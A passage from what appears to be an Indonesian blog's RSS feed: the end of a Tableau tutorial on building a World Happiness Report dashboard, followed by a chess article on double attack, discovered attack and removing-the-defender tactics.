workspace&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk sementara, kita hanya perlu familiar dengan 5 bagian yang saya tandai tersebut karena kita hanya akan aktif menggunakan kelima bagian tersebut saja.&lt;/p&gt;&lt;p&gt;Berikut adalah penjelasan singkat setiap bagian tersebut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Tabel-tabel yang terdapat dalam dataset.&lt;/li&gt;
&lt;li&gt;Manipulasi data / membuat hubungan antar kolom (dengan warna, ukuran huruf, dan lainnya).&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Sheet&lt;/em&gt; untuk menampilkan data dalam bentuk visual.&lt;/li&gt;
&lt;li&gt;Pilihan grafik/chart yang dapat digunakan untuk menampilkan atau memvisualisasi data.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Shortcut tools&lt;/em&gt; untuk memanipulasi sheet dan visualisasi data dalam sheet tersebut.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Worksheet 1: Membuat Visualisasi “Healthy Life Expectancy”&lt;a href=&quot;#worksheet-1-membuat-visualisasi-healthy-life-expectancy&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan mulai membuat dashboard-nya. Untuk bisa menampilkan &lt;strong&gt;Dashboard World Happiness Report&lt;/strong&gt; dengan data yang beragam, dalam hal ini, data yang akan ditampilkan adalah data terkait  &lt;strong&gt;“Healthy Life Expectancy”&lt;/strong&gt;,  &lt;strong&gt;“GDP per Capita”&lt;/strong&gt;, dan  &lt;strong&gt;“Generosity”&lt;/strong&gt;, kita perlu membuatnya satu persatu di &lt;em&gt;worksheet&lt;/em&gt; yang berbeda. Dengan kata lain, kita akan membuat visualisasi data &lt;strong&gt;Healthy Life Expectancy&lt;/strong&gt; di &lt;em&gt;worksheet&lt;/em&gt; pertama, kemudian visualisasi data &lt;strong&gt;GDP per Capita&lt;/strong&gt; di &lt;em&gt;worksheet&lt;/em&gt; kedua, dan visualisasi &lt;strong&gt;Generosity&lt;/strong&gt; di &lt;em&gt;worksheet&lt;/em&gt; ketiga.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah membuat visualisasi &lt;strong&gt;Healthy life expectancy&lt;/strong&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Country name&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Healthy life expectancy&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Ubah mode visualisasi menjadi &lt;em&gt;&lt;strong&gt;maps&lt;/strong&gt;&lt;/em&gt; di bagian 4 (Show me).&lt;/li&gt;
&lt;li&gt;Ubah &lt;em&gt;parameter&lt;/em&gt; / &lt;em&gt;measurement&lt;/em&gt; &lt;strong&gt;Healthy life expectancy&lt;/strong&gt; dari &lt;strong&gt;“SUM”&lt;/strong&gt; ke &lt;strong&gt;“AVG”&lt;/strong&gt; di bagian 2.&lt;/li&gt;
&lt;li&gt;Ubah tingkat gradasi warna menjadi hanya 4 tingkatan dengan klik &lt;strong&gt;“Edit Colors”&lt;/strong&gt; di bagian legenda di sebelah kanan &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut video tutorialnya:&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Worksheet 2: Membuat Visualisasi “GDP per Capita”&lt;a href=&quot;#worksheet-2-membuat-visualisasi-gdp-per-capita&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita akan membuat visualisasi berdasarkan data &lt;strong&gt;GDP per Capita&lt;/strong&gt; di &lt;em&gt;sheet&lt;/em&gt; yang baru. Untuk membuat &lt;em&gt;sheet&lt;/em&gt; baru, kita hanya perlu meng-klik icon &lt;em&gt;sheet&lt;/em&gt; baru (&lt;em&gt;New Worksheet&lt;/em&gt;) di sebelah &lt;strong&gt;Sheet 1&lt;/strong&gt; di bagian bawah sebelah kiri.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah membuat visualisasi &lt;strong&gt;GDP per Capita&lt;/strong&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Country name&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Log GDP per capita&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Di bagian 4 (Show me), ganti visualisasi ke dalam bentuk &lt;em&gt;&lt;strong&gt;bar chart&lt;/strong&gt;&lt;/em&gt; atau diagram batang.&lt;/li&gt;
&lt;li&gt;Klik &lt;em&gt;shortcut tool&lt;/em&gt; &lt;strong&gt;“Swap Rows and Columns”&lt;/strong&gt; di bagian 5 untuk mengubah posisi baris dan kolom &lt;em&gt;bar chart&lt;/em&gt;-nya.&lt;/li&gt;
&lt;li&gt;Klik &lt;em&gt;shortcut tool&lt;/em&gt; &lt;strong&gt;“Short descending …”&lt;/strong&gt; di bagian 5 untuk mengurutkan tampilan data dari yang nilai GDP per Capita tertinggi ke terendah.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut video tutorialnya:&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Worksheet 3: Membuat Visualisasi “Generosity”&lt;a href=&quot;#worksheet-3-membuat-visualisasi-generosity&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan membuat visualisasi data &lt;strong&gt;Generosity&lt;/strong&gt; di &lt;em&gt;sheet&lt;/em&gt; yang baru. Langkah-langkahnya hampir mirip dengan langkah-langkah membuat visualisasi sebelumnya, hanya saja kita perlu menyesuaikan visualisasinya.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah membuat visualisasi &lt;strong&gt;Generosity&lt;/strong&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Country name&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; tabel &lt;strong&gt;Generosity&lt;/strong&gt; ke dalam &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Di bagian 4 (Show me), ganti visualisasi ke dalam bentuk &lt;em&gt;&lt;strong&gt;treemaps&lt;/strong&gt;&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Edit warna legendanya agar hanya memiliki 4 tingkat gradasi berwarna biru.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut video tutorialnya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;[Opsional]: Menambahkan Filter 💡&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk keperluan estetika, kita hanya akan menampilkan negara-negara dengan skor &lt;strong&gt;Generosity&lt;/strong&gt; yang tinggi (&amp;gt;= 2.5). Berikut adalah langkah-langkah untuk mem-&lt;em&gt;filter&lt;/em&gt;-nya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Di bagian 2 pada &lt;strong&gt;Country name&lt;/strong&gt;, &lt;strong&gt;pilih Filter -&amp;gt; Condition -&amp;gt; By field&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Ganti simbol &lt;strong&gt;Comparison&lt;/strong&gt;-nya menjadi lebih dari sama dengan (&lt;strong&gt;&amp;gt;=&lt;/strong&gt;) dan ubah &lt;strong&gt;Value&lt;/strong&gt;-nya menjadi &lt;strong&gt;2.5&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Membuat Dashboard “World Happiness Report”&lt;a href=&quot;#membuat-dashboard-world-happiness-report&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pembuatan dashboard adalah bagian paling mudah karena kita hanya akan “mengkompilasi” &lt;em&gt;worksheet-worksheet&lt;/em&gt; yang sudah kita buat sebelumnya. Nah, kita bisa memilih salah satu dari dua opsi &lt;em&gt;layout&lt;/em&gt; dashboard, yaitu &lt;em&gt;layout&lt;/em&gt; &lt;strong&gt;“Tiled”&lt;/strong&gt; dan &lt;strong&gt;“Floating”&lt;/strong&gt;. Perbedaannya, kalau &lt;em&gt;layout&lt;/em&gt; Tiled &lt;em&gt;sheet-sheet&lt;/em&gt; yang ada di dashboard akan otomatis tersusun otomatis sesuai dengan &lt;em&gt;grid&lt;/em&gt;/&lt;em&gt;container&lt;/em&gt; yang ada (&lt;em&gt;vertical&lt;/em&gt; &amp;amp; &lt;em&gt;horizontal container&lt;/em&gt;). Sementara &lt;em&gt;layout&lt;/em&gt; Floating membebaskan kita untuk mengatur sendiri &lt;em&gt;layout&lt;/em&gt; dari dashboard yang ingin ditampilkan. Jadi, tinggal pilih sesuai kebutuhan saja.&lt;/p&gt;&lt;p&gt;Untuk keperluan tutorial ini, saya akan memilih &lt;em&gt;layout&lt;/em&gt; Tiled agar lebih mudah dan cepat jadi.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah membuat dashboard &lt;strong&gt;“World Happiness Report 2024”&lt;/strong&gt;.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik menu &lt;strong&gt;Dashboard&lt;/strong&gt; -&amp;gt; &lt;strong&gt;New Dashboard&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Ubah ukuran dashboardnya dengan klik bagian &lt;strong&gt;Size&lt;/strong&gt;, kemudian ganti “Fixed size” ke &lt;strong&gt;“Automatic”&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Drag and drop&lt;/em&gt; 3 &lt;em&gt;sheets&lt;/em&gt; yang sudah dibuat sebelumnya ke dalam &lt;em&gt;sheet&lt;/em&gt; dashboard.&lt;/li&gt;
&lt;li&gt;Hilangkan judul setiap &lt;em&gt;sheet&lt;/em&gt; dengan cara &lt;em&gt;un-check&lt;/em&gt; bagian &lt;strong&gt;Title&lt;/strong&gt; di opsi masing-masing &lt;em&gt;sheet&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Tampilkan filter berdasarkan &lt;strong&gt;“nilai”&lt;/strong&gt; untuk &lt;em&gt;sheet&lt;/em&gt; &lt;strong&gt;Log GDP Percapita&lt;/strong&gt; &amp;amp; &lt;strong&gt;Generosity&lt;/strong&gt;, dan tampilkan filter berdasarkan &lt;strong&gt;“nama negara”&lt;/strong&gt; untuk &lt;em&gt;sheet&lt;/em&gt; &lt;strong&gt;Healthy Life Expectancy&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Tambahkan judul dashboard dengan cara &lt;em&gt;checklist&lt;/em&gt; &lt;strong&gt;“Show dashboard title”&lt;/strong&gt; di bagian bawah sebelah kiri dashboard.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut video tutorialnya:&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;[Opsional]:** Menambahkan Filter &lt;em&gt;Slicing&lt;/em&gt; 💡&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Berikut adalah langkah-langkah membuat filter &lt;em&gt;slicing&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik menu &lt;strong&gt;Dashboard&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Actions&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Pilih &lt;strong&gt;Add Action&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Filter&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Beri nama &lt;strong&gt;Slicing&lt;/strong&gt; dan pilih &lt;strong&gt;“Select”&lt;/strong&gt; pada bagian &lt;strong&gt;Run action on&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Klik &lt;strong&gt;Ok&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut video tutorialnya:&lt;/p&gt;
Selesai&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Publish Dahsboard&lt;a href=&quot;#publish-dahsboard&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Terakhir, jangan lupa klik &lt;strong&gt;Publish&lt;/strong&gt; agar dashboardnya tersimpan sekaligus terpublikasi secara online sehingga orang lain juga dapat melihat dashboard yang sudah kalian buat!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Publish dashboard&quot; loading=&quot;lazy&quot; width=&quot;1339&quot; height=&quot;746&quot; src=&quot;/_astro/ss6.CSU4lobL_ZlRYKJ.webp&quot; /&gt;&lt;figcaption&gt;Publish dashboard&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Demikian tutorial membuat dashboard menggunakan Tableau!&lt;/p&gt;&lt;p&gt;Terima kasih sudah mampir. Sampai ketemu di artikel-artikal saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.bismart.com/en/what-is-a-dashboard-in-data-analytics-and-business-intelligence&quot; target=&quot;_blank&quot;&gt;https://blog.bismart.com/en/what-is-a-dashboard-in-data-analytics-and-business-intelligence&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=d_J2fWqCKgM&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=d_J2fWqCKgM&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Chess Tactics: Double Attack, Discovered Attack, Removing The Defender</title><link>https://shangdi.github.io/posts/chess/pop-tactics2/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/pop-tactics2/</guid><description>This article shares about 3 popular tactics in chess, which are Double Attack, Discovered Attack, and Removing The Defender</description><pubDate>Thu, 07 Nov 2024 03:39:37 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Seorang master catur Jerman kelahiran tahun 1868, &lt;a href=&quot;https://chesspuzzle.net/Player/Richard_Teichmann&quot; target=&quot;_blank&quot;&gt;Richard Teichmann&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;chess is 99% tactics&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Chess Tactics?&lt;a href=&quot;#what-is-chess-tactics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu taktik catur?&lt;br /&gt;
Pada dasarnya, taktik catur adalah gerakan / langkah (atau serangkaian langkah) yang memberikan keuntungan bagi pemainnya. Keuntungan yang dimaksud dapat berupa keuntungan material, yaitu dengan memenangkan buah catur, atau bahkan skakmat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak taktik yang dapat dipelajari dan digunakan dalam bermain catur, tapi biarkan saya mengulas salah tiga diantaranya, yaitu &lt;strong&gt;Double Attack&lt;/strong&gt; , &lt;strong&gt;Discovered Attack&lt;/strong&gt;, dan &lt;strong&gt;Removing The Defender&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Double Attack&lt;a href=&quot;#double-attack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Serangan &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt; atau serangan ganda terjadi ketika dua atau lebih buah catur kita memberikan dua ancaman sekaligus dalam satu langkah.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;&lt;strong&gt;Double attack&lt;/strong&gt;&lt;/em&gt; juga banyak disamakan dengan taktik &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt;. Meskipun demikian, menurut saya, ada perbedaan antara taktik &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt;. Perbebaannya terletak pada buah catur yang melakukan serangan ganda. Jika di &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt; hanya 1 buah catur saja yang melakukan serangan ganda, maka di &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt; ada 2 buah catur yang melakukan serangan atau ancaman ganda. Meskipun demikian, terkadang, taktik &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt; juga melibatkan taktik lainnya seperti &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;pin&lt;/strong&gt;&lt;/em&gt;, dan &lt;em&gt;&lt;strong&gt;discovered attack&lt;/strong&gt;&lt;/em&gt; dalam serangannya.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Saya sudah pernah membahas taktik &lt;em&gt;&lt;strong&gt;fork&lt;/strong&gt;&lt;/em&gt; atau garpuan di tautan berikut:&lt;/p&gt;&lt;a href=&quot;/posts/chess/pop-tactics/&quot;&gt;&lt;div&gt;&lt;div&gt;Chess Tactics: Fork, Pin, and Skewer&lt;/div&gt;&lt;div&gt;This article shares about 3 popular tactics in chess, which are Fork, Pin, and Skewer.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-08-14&lt;/span&gt;&lt;span&gt;chess&lt;/span&gt;&lt;span&gt;&lt;span&gt;#chess&lt;/span&gt;&lt;span&gt;#intro&lt;/span&gt;&lt;span&gt;#tactics&lt;/span&gt;&lt;span&gt;#fork&lt;/span&gt;&lt;span&gt;#pin&lt;/span&gt;&lt;span&gt;#skewer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;/_astro/featured.Ddcda7sA_Z1JongV.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;324&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.BkM-_AsW_UaQkU.webp&quot; alt=&quot;Kuda + Benteng: Benteng putih menyerang gajah hitam dan kuda putih menyerang benteng hitam. Putih akan menang material.&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;608&quot; /&gt;&lt;figcaption&gt;Kuda + Benteng: Benteng putih menyerang gajah hitam dan kuda putih menyerang benteng hitam. Putih akan menang material.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.fiXpHDLk_Z24zcdV.webp&quot; alt=&quot;Menteri + Kuda: Hitam menyerang menteri putih dengan menteri dan benteng putih diserang oleh kuda hitam. Hitam akan menang kualitas perwira.&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;609&quot; /&gt;&lt;figcaption&gt;Menteri + Kuda: Hitam menyerang menteri putih dengan menteri dan benteng putih diserang oleh kuda hitam. Hitam akan menang kualitas perwira.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss7.Cr_VFgwS_Z1UiKMq.webp&quot; alt=&quot;Menteri + Pion: Menteri hitam dan pionnya menyerang kedua gajah putih. Hitam akan menang material.&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;609&quot; /&gt;&lt;figcaption&gt;Menteri + Pion: Menteri hitam dan pionnya menyerang kedua gajah putih. Hitam akan menang material.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Double Attack Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Benteng.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Menteri.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, memenangkan Benteng, dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Discovered Attack&lt;a href=&quot;#discovered-attack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Serangan &lt;em&gt;&lt;strong&gt;discoverd attack&lt;/strong&gt;&lt;/em&gt; atau terkadang juga disebut serangan &lt;em&gt;&lt;strong&gt;discovery&lt;/strong&gt;&lt;/em&gt; oleh beberapa orang (Indonesia) terjadi ketika kita menggerakan buah catur yang berakibat pada munculnya ancaman dari bidak catur lain yang berada di belakangnya. Taktik ini juga beririsan dengan taktik &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt; karena umumnya taktik &lt;em&gt;&lt;strong&gt;discovered attack&lt;/strong&gt;&lt;/em&gt; dilakukan berbarengan dengan &lt;em&gt;&lt;strong&gt;double attack&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;&lt;strong&gt;discoverd attack&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss8.C5FgnVis_Z1jqOuc.webp&quot; alt=&quot;Discovered Attack 1: Gajah putih di c2 melakukan discovered attack / check sekaligus memberi ancaman pada Menteri hitam, otomatis hitam akan kehilangan Menterinya.&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;610&quot; /&gt;&lt;figcaption&gt;Discovered Attack 1: Gajah putih di c2 melakukan discovered attack / check sekaligus memberi ancaman pada Menteri hitam, otomatis hitam akan kehilangan Menterinya.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss9.XgsPL0D3_nYtBq.webp&quot; alt=&quot;Discovered Attack 2: Gajah hitam di f8 melakukan discovered attack ke Menteri putih sekaligus mengancam gajahnya yang dipastikan akan hilang.&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;610&quot; /&gt;&lt;figcaption&gt;Discovered Attack 2: Gajah hitam di f8 melakukan discovered attack ke Menteri putih sekaligus mengancam gajahnya yang dipastikan akan hilang.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss10.CYSE8xUC_20ufNs.webp&quot; alt=&quot;Discovered Attack 3: Pion hitam makan pion putih di b3 dengan skak sekaligus memberikan serangan discovered attack sehingga Menteri putih dipastikan akan hilang.&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;605&quot; /&gt;&lt;figcaption&gt;Discovered Attack 3: Pion hitam makan pion putih di b3 dengan skak sekaligus memberikan serangan discovered attack sehingga Menteri putih dipastikan akan hilang.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Discovered Attack Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Benteng.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Menteri.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, memenangkan Benteng, dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Removing The Guard / Defender&lt;a href=&quot;#removing-the-guard--defender&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti namanya, &lt;em&gt;&lt;strong&gt;removing the guard&lt;/strong&gt;&lt;/em&gt; adalah taktik untuk menghilangkan buah catur yang menjaga buah catur lainnya untuk mendapatkan keuntungan, baik keuntungan material atau bahkan skakmat&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Sesederhana itu. Terkadang, taktik ini juga sering disamakan dengan taktik &lt;em&gt;&lt;strong&gt;Deflection&lt;/strong&gt;&lt;/em&gt;, meskipun menurut saya taktik &lt;em&gt;&lt;strong&gt;removing the guard&lt;/strong&gt;&lt;/em&gt; memiliki perbedaan dengan taktik &lt;em&gt;&lt;strong&gt;deflection&lt;/strong&gt;&lt;/em&gt;. Tapi, kita akan bahas &lt;em&gt;&lt;strong&gt;deflection&lt;/strong&gt;&lt;/em&gt; di artikel yang lain. Sekarang, mari kita langsung ke contoh taktik &lt;em&gt;&lt;strong&gt;removing the guard&lt;/strong&gt;&lt;/em&gt; saja…&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;&lt;strong&gt;removing the guard&lt;/strong&gt;&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss11.CvKK5nEL_Z2y8q2.webp&quot; alt=&quot;Removing the Defender 1: Benteng putih makan kuda yang menjaga petak g7 agar Menteri bisa melakukan skakmat.&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;609&quot; /&gt;&lt;figcaption&gt;Removing the Defender 1: Benteng putih makan kuda yang menjaga petak g7 agar Menteri bisa melakukan skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss12.4CYjuEiV_2cfhSV.webp&quot; alt=&quot;Removing the Defender 2: Gajah putih makan kuda yang menjaga Menteri di c4 agar Menteri putih bisa makan Menteri hitam.&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;608&quot; /&gt;&lt;figcaption&gt;Removing the Defender 2: Gajah putih makan kuda yang menjaga Menteri di c4 agar Menteri putih bisa makan Menteri hitam.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss13.D1WBtpEo_1EysIa.webp&quot; alt=&quot;Removing the Defender 3: Benteng hitam makan pion sambil melakukan skak pada Raja putih yang menjaga Menterinya.&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;608&quot; /&gt;&lt;figcaption&gt;Removing the Defender 3: Benteng hitam makan pion sambil melakukan skak pada Raja putih yang menjaga Menterinya.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Removing The Defender Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Benteng.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan memenangkan Menteri.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, memenangkan Benteng, dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
